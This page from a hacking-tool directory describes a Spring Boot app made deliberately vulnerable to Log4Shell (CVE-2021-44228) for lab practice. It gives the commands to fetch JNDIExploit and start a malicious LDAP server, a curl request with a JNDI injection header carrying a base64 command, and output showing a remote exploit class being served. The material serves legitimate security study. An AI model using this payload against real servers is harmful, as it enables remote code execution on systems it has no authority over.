Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4shell-vulnerable-app — 易受Log4Shell(CVE-2021-44228)攻击的Spring Boot Web应用程序。 | Kitploit
工具/GitHubGitHub/prmawyer/log4shell-vulnerable-app
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubprmawyer/log4shell-vulnerable-app

log4shell-vulnerable-app

易受Log4Shell(CVE-2021-44228)攻击的Spring Boot Web应用程序。

查看仓库
24天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Log4Shell 示例漏洞应用 (CVE-2021-44228) - 二次编辑

此仓库包含一个易受 CVE-2021-44228(又名 Log4Shell)攻击的 Spring Boot Web 应用程序。

它使用了 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)和 JDK 1.8.0_181。

运行应用

执行:

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

利用步骤

注:本部分高度参考了原始的 LunaSec 公告。请自行承担风险,最好在沙盒环境的虚拟机中运行。

更新(12月13日):JNDIExploit 仓库已从 GitHub 移除(推测并非由 GitHub 移除)…… 点击此处 下载由 Wayback Machine 缓存的版本。

  • 使用 JNDIExploit 启动一个恶意的 LDAP 服务器
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • 然后,使用以下命令触发漏洞:
root@kitploit:~
# 将执行 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • 观察 JNDIExploit 的输出,显示其已发送恶意 LDAP 响应并提供第二阶段载荷:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • 要确认代码执行成功,请注意在运行漏洞应用的容器中已创建了文件 /tmp/pwned.txt:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

参考

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

贡献者

@christophetd @rayhan0x01

下载工具